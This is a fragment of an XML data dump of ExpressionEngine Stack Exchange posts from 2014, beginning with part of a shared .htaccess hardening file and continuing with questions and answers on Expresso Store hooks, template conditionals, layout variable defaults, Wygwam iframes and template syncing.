-Indexes&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Block access to &quot;hidden&quot; directories or files whose names begin with a&#xA;# period. This includes directories used by version control systems such as&#xA;# Subversion or Git.&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{SCRIPT_FILENAME} -d [OR]&#xA;  RewriteCond %{SCRIPT_FILENAME} -f&#xA;  RewriteRule &quot;(^|/)\.&quot; - [F]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Block access to backup and source files. These files may be left by some&#xA;# text/html editors and pose a great security danger, when anyone can access&#xA;# them.&#xA;&amp;lt;FilesMatch &quot;(\.(bak|config|sql|fla|psd|ini|log|sh|inc|swp|dist)|~)$&quot;&amp;gt;&#xA;  Order allow,deny&#xA;  Deny from all&#xA;  Satisfy All&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;# If your server is not already configured as such, the following directive&#xA;# should be uncommented in order to set PHP's register_globals option to OFF.&#xA;# This closes a major security hole that is abused by most XSS (cross-site&#xA;# scripting) attacks. For more information: http://php.net/register_globals&#xA;#&#xA;# IF REGISTER_GLOBALS DIRECTIVE CAUSES 500 INTERNAL SERVER ERRORS:&#xA;#&#xA;# Your server does not allow PHP directives to be set via .htaccess. In that&#xA;# case you must make this change in your php.ini file instead. If you are&#xA;# using a commercial web host, contact the administrators for assistance in&#xA;# doing this. Not all servers allow local php.ini files, and they should&#xA;# include all PHP configurations (not just this one), or you will effectively&#xA;# reset everything to PHP defaults. Consult www.php.net for more detailed&#xA;# information about setting PHP directives.&#xA;&#xA;# php_flag register_globals Off&#xA;&#xA;# Rename session cookie to something else, than PHPSESSID&#xA;# php_value session.name sid&#xA;&#xA;# Disable magic quotes (This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.)&#xA;# php_flag magic_quotes_gpc Off&#xA;&#xA;# Do not show you are using PHP&#xA;# Note: Move this line to php.ini since it won't work in .htaccess&#xA;# php_flag expose_php Off&#xA;&#xA;# Level of log detail - log all errors&#xA;# php_value error_reporting -1&#xA;&#xA;# Write errors to log file&#xA;# php_flag log_errors On&#xA;&#xA;# Do not display errors in browser (production - Off, development - On)&#xA;# php_flag display_errors Off&#xA;&#xA;# Do not display startup errors (production - Off, development - On)&#xA;# php_flag display_startup_errors Off&#xA;&#xA;# Format errors in plain text&#xA;# Note: Leave this setting 'On' for xdebug's var_dump() output&#xA;# php_flag html_errors Off&#xA;&#xA;# Show multiple occurrence of error&#xA;# php_flag ignore_repeated_errors Off&#xA;&#xA;# Show same errors from different sources&#xA;# php_flag ignore_repeated_source Off&#xA;&#xA;# Size limit for error messages&#xA;# php_value log_errors_max_len 1024&#xA;&#xA;# Don't precede error with string (doesn't accept empty string, use whitespace if you need)&#xA;# php_value error_prepend_string &quot; &quot;&#xA;&#xA;# Don't prepend to error (doesn't accept empty string, use whitespace if you need)&#xA;# php_value error_append_string &quot; &quot;&#xA;&#xA;# Increase cookie security&#xA;&amp;lt;IfModule php5_module&amp;gt;&#xA;  php_value session.cookie_httponly true&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# ExpressionEngine Rewrite&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteCond $1 !.(\.css|\.js|\.png|\.jpe?g|\.gif|\.ico)$ [NC]&#xA;  RewriteRule ^(.+)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the first thing I update whenever I inherit a site and looking to optimize it :) Hopefully you find it as helpful as I have!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-11-06T23:33:53.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26629" PostTypeId="1" AcceptedAnswerId="26638" CreationDate="2014-11-07T04:23:26.283" Score="0" ViewCount="172" Body="&lt;p&gt;I have a client that needs to add a &quot;free gift&quot; to their customers' orders for every $100 that a customer purchases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;strong&gt;ExpressionEngine 2.9.0&lt;/strong&gt; and &lt;strong&gt;Expresso Store 2.3.1&lt;/strong&gt;. I've created an extension hook that executes on &lt;strong&gt;&quot;store_order_recalculate_end&lt;/strong&gt;.&quot; The hook is executing and I'm using &lt;em&gt;XDebug&lt;/em&gt; to debug our store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how exactly to add an item to the order programatically. I found the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addItem($item_attributes, $form_params)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system/expressionengine/third_party/store/src/Store/Model/Order.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Our store is working as expected &lt;strong&gt;&lt;em&gt;with&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;without&lt;/em&gt;&lt;/strong&gt; the hook installed. I captured the &lt;em&gt;$item_attributes&lt;/em&gt; and &lt;em&gt;$form_params values&lt;/em&gt; when I post an item from the shopping cart using XDebug and by setting breakpoints in Sublime Text. Using those captured values, I duplicated those arrays in my extension hook, and referenced the entry_id of the free gift that we want to give to customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code in my hook creates the following arrays and then executes the &lt;em&gt;addItem()&lt;/em&gt; function of the &lt;em&gt;Order&lt;/em&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_attributes = array(&#xA;    'entry_id' =&amp;gt; $this-&amp;gt;freeGiftCardEntryId,&#xA;    'item_qty' =&amp;gt; 1,&#xA;    'line_item_id' =&amp;gt; rand(0, 10000),&#xA;    'is_gift_to' =&amp;gt; '',&#xA;    'is_gift_from' =&amp;gt; '',&#xA;    'is_gift_special_note' =&amp;gt; '',&#xA;    'is_gift_shipping_full_name' =&amp;gt; '',&#xA;    'is_gift_shipping_address' =&amp;gt; '',&#xA;    'is_gift_shipping_city' =&amp;gt; '',&#xA;    'is_gift_shipping_state' =&amp;gt; '',&#xA;    'is_gift_shipping_province' =&amp;gt; '',&#xA;    'is_gift_shipping_country' =&amp;gt; '',&#xA;    'is_gift_shipping_zip_code' =&amp;gt; '',&#xA;);&#xA;&#xA;$form_params = array(&#xA;    'form_id' =&amp;gt; 'product_form_0',&#xA;    'form_class' =&amp;gt; 'product',&#xA;    'input:line_item_id' =&amp;gt; 'Line Item ID',&#xA;    'input:is_gift_to' =&amp;gt; 'Is Gift To',&#xA;    'input:is_gift_from' =&amp;gt; 'Is Gift From',&#xA;    'input:is_gift_special_note' =&amp;gt; 'Special Note',&#xA;    'input:is_gift_shipping_full_name' =&amp;gt; 'Gift Shipping Full Name',&#xA;    'input:is_gift_shipping_address' =&amp;gt; 'Gift Shipping Address',&#xA;    'input:is_gift_shipping_city' =&amp;gt; 'Gift Shipping City',&#xA;    'input:is_gift_shipping_state' =&amp;gt; 'Gift Shipping State',&#xA;    'input:is_gift_shipping_province' =&amp;gt; 'Gift Shipping Province',&#xA;    'input:is_gift_shipping_country_' =&amp;gt; 'Gift Shipping Country',&#xA;    'input:is_gift_shipping_zip_code' =&amp;gt; 'Gift Shipping Zip/Postal Code',&#xA;    'encrypted_params' =&amp;gt; 1&#xA;);&#xA;&#xA;$order-&amp;gt;addItem($item_attributes, $form_params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add an item, I can see that my hook is executing, and I can see it calling the &lt;em&gt;addItem()&lt;/em&gt; function for every $100 spent. However, the item is never added to the cart. I believe that it &quot;fails&quot; on &lt;em&gt;line 607&lt;/em&gt; of the &lt;em&gt;Order&lt;/em&gt; class in the &lt;em&gt;addItem()&lt;/em&gt; function where it executes the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = $this-&amp;gt;findExistingItem($entry_id, $modifiers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've compared the XDebug tracing information using a DIFF tool. Comparing a product that is added via the UI, and the product that is added programmatically, I can only see a few minor differences. From what I can tell, they are exact, except for some posted form values that aren't present on the one added programatically. However, I wouldn't call them specifically important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are, is this how you would add something programmatically? In addition, if this is how you would add it, are there other variables I need to post to identify the current user session?&lt;/p&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="3242" LastEditDate="2014-11-07T04:29:48.270" LastActivityDate="2017-03-02T16:44:09.270" Title="Programmatically Adding an Item to an Expresso Order" Tags="|expresso-store|expresso|hook|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26631" PostTypeId="1" CreationDate="2014-11-07T10:57:30.043" Score="0" ViewCount="56" Body="&lt;p&gt;A very weird problem, but in a specific channel that has many custom fields I get a very peculiar problem with just one entry (as far as I can tell) where a particular custom field is failing only inside an &lt;code&gt;if&lt;/code&gt; statement. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_custom_field}&#xA;  {my_custom_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This causes the entire template to fail, resulting in a white screen. I've switched on every form of debugging (index file and admin area). There are no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the &lt;code&gt;if&lt;/code&gt; statement and simply output the field, it works fine. If I empty the field it works fine. If the field has only up to ~67 characters in it, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please bear in mind, this is only a problem with &lt;em&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/em&gt; entry; other entries don't experience this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creating a new entry with the same data&lt;/li&gt;&#xA;&lt;li&gt;Rewriting the content of this field by hand (not copy-pasting in case of a malformed character)&lt;/li&gt;&#xA;&lt;li&gt;Renaming the custom field&lt;/li&gt;&#xA;&lt;li&gt;Adding the same content to a different field&lt;/li&gt;&#xA;&lt;li&gt;Reducing the number of &lt;code&gt;if&lt;/code&gt; statements in the template&lt;/li&gt;&#xA;&lt;li&gt;Increasing the memory available to PHP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question really is: has anyone ever come across this before? Where can I look to solve it?&lt;/p&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2016-06-15T22:11:55.047" Title="If statement failing in with custom field on a specific post with certain value length" Tags="|templates|conditionals|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26632" PostTypeId="2" ParentId="26631" CreationDate="2014-11-07T11:13:54.863" Score="0" Body="&lt;p&gt;It could just be a quote or other glyph in the field which terminates the conditional early.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/stringlength&quot; rel=&quot;nofollow&quot;&gt;I wrote a little add on&lt;/a&gt; which might help you here. It will return the length of a given field so you can run your conditional check on that number rather than using the entire field contents.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-07T11:13:54.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26633" PostTypeId="1" CreationDate="2014-11-07T12:39:13.343" Score="0" ViewCount="107" Body="&lt;p&gt;I've read &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20543/pt-field-pack-2-1-1-on-ee2-8-1-installation-errors-notice-and-warnings&quot;&gt;P&amp;amp;T Field Pack 2.1.1 on EE2.8.1 Installation Errors Notice and warnings&lt;/a&gt; so I'm aware of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have is several Field Pack &lt;strong&gt;Checkbox&lt;/strong&gt; fields across more than one site in an MSM installation, all of which seem to be behaving just fine: both in terms of output and field settings editability, except for one…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One field only&lt;/strong&gt; is generating wrong output, and PHP errors if I try to edit the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;--&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems odd. Can't see anything in the DB so far to hint at why. It would make more sense to me if &lt;strong&gt;all&lt;/strong&gt; the PT checkbox fields were issuing the same errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I guess P&amp;amp;T FieldPack is dying a slow death? What alternatives do people recommend?&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-06-15T23:11:59.497" Title="P&amp;T Field Pack 2.1.1 on EE2.8.1: error on specific Checkbox field only" Tags="|pixelandtonic|field-pack|checkbox|pt-checkboxes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26634" PostTypeId="1" AcceptedAnswerId="26635" CreationDate="2014-11-07T14:36:28.147" Score="2" ViewCount="344" Body="&lt;p&gt;I'd like to set some default values for several &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/layouts.html#layout-variables&quot; rel=&quot;nofollow&quot;&gt;layout variables&lt;/a&gt;, for when a particular template doesn't have a need to pass a specific variable to the parent layout. For example, I set my page's &quot;description&quot; meta tag via a layout variable, but some pages don't need a unique description - they should just use a &quot;global&quot; description. Setting defaults would save a lot of extraneous code in each template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing a conditional check in my layout template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if layout:description == ''}&#xA;    {layout:set name=&quot;description&quot; value=&quot;My default site description.&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work, because &lt;code&gt;layout:set&lt;/code&gt; tags are not parsed inside layout templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set defaults?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-07T14:36:28.147" Title="How to set default values for layout variables?" Tags="|template-layouts|layout-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26635" PostTypeId="2" ParentId="26634" CreationDate="2014-11-07T14:36:28.147" Score="3" Body="&lt;p&gt;The key here is in looking at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;template engine order of operations&lt;/a&gt;. You can see that snippets are processed very early on. It also so happens that if you set a layout variable multiple times, it's the last value which remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can create a snippet which sets default for all of your metadata, then include that snippet alongside your layout tag in all your templates. Then, call &lt;code&gt;{layout:set}&lt;/code&gt; for only the variables you need to change per-template.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Template&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_global/_layout&quot;}&#xA;{sn_default_metadata}&#xA;&#xA;&amp;lt;p&amp;gt;Hello world.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Layout file (_global/_layout)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;{lang}&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;{charset}&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;{layout:description}&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;thumbnail&quot; content=&quot;{layout:thumbnail}&quot; /&amp;gt;&#xA;    {if layout:robots}&amp;lt;meta name=&quot;robots&quot; content=&quot;{layout:robots}&quot; /&amp;gt;{/if}&#xA;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{if layout:title}{layout:title}{if:else}{layout:site_name}{/if}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:description&quot; content=&quot;{layout:description}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:image&quot; content=&quot;{layout:thumbnail}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:url&quot; content=&quot;{layout:url}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:type&quot; content=&quot;{layout:open_graph_type}&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;{if layout:title}{layout:title} &amp;amp;ndash; {/if}{layout:site_name}&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;    {layout:contents}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Snippet ({sn_default_metadata})&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout:set name=&quot;description&quot; value=&quot;My default site description.&quot;}&#xA;{layout:set name=&quot;open_graph_type&quot; value=&quot;website&quot;}&#xA;{layout:set name=&quot;site_name&quot; value=&quot;My Great Website&quot;}&#xA;{layout:set name=&quot;thumbnail&quot; value=&quot;{site_url}/assets/img/thumbnail.png&quot;}&#xA;{layout:set name=&quot;url&quot; value=&quot;{current_url}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Template with overrides&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_global/_layout&quot;}&#xA;{sn_default_metadata}&#xA;&#xA;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;img src=&quot;{news_image}&quot; alt=&quot;&quot; /&amp;gt;&#xA;    {news_body}&#xA;&#xA;    {layout:set name=&quot;title&quot; value=&quot;{title}&quot;}&#xA;    {layout:set name=&quot;description&quot; value=&quot;{news_summary}&quot;}&#xA;    {layout:set name=&quot;url&quot; value=&quot;{title_permalink=&quot;news/entry&quot;}&quot;}&#xA;    {layout:set name=&quot;thumbnail&quot; value=&quot;{news_image}&quot;}&#xA;    {layout:set name=&quot;open_graph_type&quot; value=&quot;article&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-07T14:36:28.147" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26636" PostTypeId="2" ParentId="26611" CreationDate="2014-11-07T15:52:53.907" Score="0" Body="&lt;p&gt;I would need to see the anchor link you have at the moment but try this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/#bottom&quot;&amp;gt;Your link here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2014-11-07T15:52:53.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26637" PostTypeId="2" ParentId="26633" CreationDate="2014-11-07T16:08:44.777" Score="0" Body="&lt;p&gt;That’s an EE core file, not a Field Pack file. Try updating EE and see if that helps. If not, please get in touch with us at support@pixelandtonic.com and we can try to look into it from there.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-11-07T16:08:44.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26638" PostTypeId="2" ParentId="26629" CreationDate="2014-11-07T16:09:41.647" Score="0" Body="&lt;p&gt;I seem to remember running into a similar problem. Unfortunately, I don't remember exactly the steps I took, but I just looked at my final code, and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order-&amp;gt;addItem(array('entry_id' =&amp;gt; $this-&amp;gt;entry_id, 'update_qty' =&amp;gt; 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do remember &lt;code&gt;update_qty&lt;/code&gt; working while &lt;code&gt;item_qty&lt;/code&gt; didn't. However, this is also running inside the &lt;code&gt;store_order_recalculate_start&lt;/code&gt; hook instead of the &lt;code&gt;store_order_recalculate_end&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-07T16:09:41.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26640" PostTypeId="2" ParentId="26629" CreationDate="2014-11-07T18:27:04.987" Score="1" Body="&lt;p&gt;If I use either my or Bryan's solution to add an item programmatically, I can add an item in the &lt;strong&gt;store_order_recalculate_start&lt;/strong&gt; hook. To make it work in the &lt;strong&gt;store_order_recalculate_end&lt;/strong&gt; hook, I have to call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order-&amp;gt;recalculate();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the line after I add my item for the item to actually show up in the cart. I don't like re-calling function, but it makes sense and appears to be necessary for this.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2014-11-07T18:27:04.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26642" PostTypeId="1" AcceptedAnswerId="26670" CreationDate="2014-11-07T19:16:18.190" Score="1" ViewCount="490" Body="&lt;p&gt;I have a wygwam rich text area field, and when I switch to the &quot;Source&quot; view, paste in a standard  embed snippet from Vimeo, then switch back to the HTML view, the  snippet is immediately deleted. Before I save the page or do anything else, simply by changing views. If I try saving before switching back to HTML view, the  is also deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent wygwam from deleting my vimeo  code?&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-11-11T03:28:43.813" Title="&lt;iframe&gt; embed being stripped from rich text field" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26643" PostTypeId="1" AcceptedAnswerId="26744" CreationDate="2014-11-07T20:08:26.323" Score="0" ViewCount="766" Body="&lt;p&gt;I am working on an Expression Engine site where the &quot;save templates as files&quot; has been disabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// config/config.master.php&#xA;$env_config['save_tmpl_files'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this means that the templates are stored in the database instead of being served from the files. I have made changes to some template files (header and footer partials). How can I load those changes into the production database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part 2 of this question is whether or not this is the right approach and how best can I deploy these changes.&lt;/p&gt;&#xA;" OwnerUserId="924" LastActivityDate="2014-11-14T23:24:14.273" Title="How to update database templates from files?" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26644" PostTypeId="2" ParentId="26482" CreationDate="2014-11-07T20:48:00.487" Score="0" Body="&lt;p&gt;I learned that the Structure plugin does not provide a way of controlling the depth of an individual navigation item, so I came up with a hack to address this issue. By using a little bit of Javascript, I am removing the subnav/dropdown &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  var ul = document.getElementById('my-nav-item').getElementsByTagName('ul')[0];&#xA;  ul.parentNode.removeChild(ul);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="924" LastActivityDate="2014-11-07T20:48:00.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26645" PostTypeId="2" ParentId="26504" CreationDate="2014-11-07T20:56:53.017" Score="0" Body="&lt;p&gt;I found a way to achieve what I wanted, though the solution may not be the best practice. By adding &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; I could enforce that the loop is only run once and I can check if there is greater than zero:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul id=&quot;tabs&quot;&amp;gt;&#xA;      {exp:channel:entries channel=&quot;thing&quot; dynamic=&quot;no&quot; search:thing_status=&quot;not approved|pending&quot; limit=&quot;1&quot;}&#xA;        {if count &amp;gt; 0}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-operating&quot;&amp;gt;Operating&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;      {/exp:channel:entries}&#xA;      {exp:channel:entries channel=&quot;thing&quot; dynamic=&quot;no&quot; search:thing_status=&quot;approved&quot; limit=&quot;1&quot;}&#xA;        {if count &amp;gt; 0}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-approved&quot;&amp;gt;Approved&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;      {/exp:channel:entries}&#xA;      {exp:channel:entries channel=&quot;thing&quot; dynamic=&quot;no&quot; search:thing_status=&quot;pending&quot; limit=&quot;1&quot;}&#xA;        {if count &amp;gt; 0}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-pending&quot;&amp;gt;Pending&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added a style of &lt;code&gt;display: none&lt;/code&gt; on the tabs so that even if there were no results, the tab would be hidden until the user clicked on the nav link.&lt;/p&gt;&#xA;" OwnerUserId="924" LastActivityDate="2014-11-07T20:56:53.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26646" PostTypeId="2" ParentId="26643" CreationDate="2014-11-07T22:40:47.880" Score="0" Body="&lt;p&gt;You have to enable the save templates as files back and then synchronize the templates. After that, you can disable it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, it's annoying.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-07T22:40:47.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26647" PostTypeId="2" ParentId="21139" CreationDate="2014-11-08T03:28:47.920" Score="1" Body="&lt;p&gt;Newer versions of ee have more strict security requirements for post data. Try adding the following to your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(This is an older question but I am adding this as it a common resolution to these sorts of problems.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-11-08T03:28:47.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26648" PostTypeId="2" ParentId="24288" CreationDate="2014-11-08T04:53:16.443" Score="1" Body="&lt;p&gt;Upgrading EE is isn't always the smoothest, but yes you need to ensure all your add-ons have been upgraded by their devs to support the latest version and you should update all your add-ons before updating EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether new or not to EE, the &lt;strong&gt;&lt;em&gt;Lamplighter&lt;/em&gt;&lt;/strong&gt; add-on is a must have, providing an at-a-glance view of what add-ons are current or need updating:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/lamplighter&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/lamplighter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, DevDemon's &lt;strong&gt;&lt;em&gt;Updater&lt;/em&gt;&lt;/strong&gt; add-on is great for speeding up the update process with EE to just a few clicks:&#xA;&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/updater&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/updater&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-11-08T04:53:16.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26649" PostTypeId="2" ParentId="22411" CreationDate="2014-11-08T12:17:57.917" Score="1" Body="&lt;p&gt;This my be useful to you, it describes how to use cURL with session cookies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13020404/keeping-session-alive-with-curl-and-php&quot;&gt;https://stackoverflow.com/questions/13020404/keeping-session-alive-with-curl-and-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-11-08T12:17:57.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
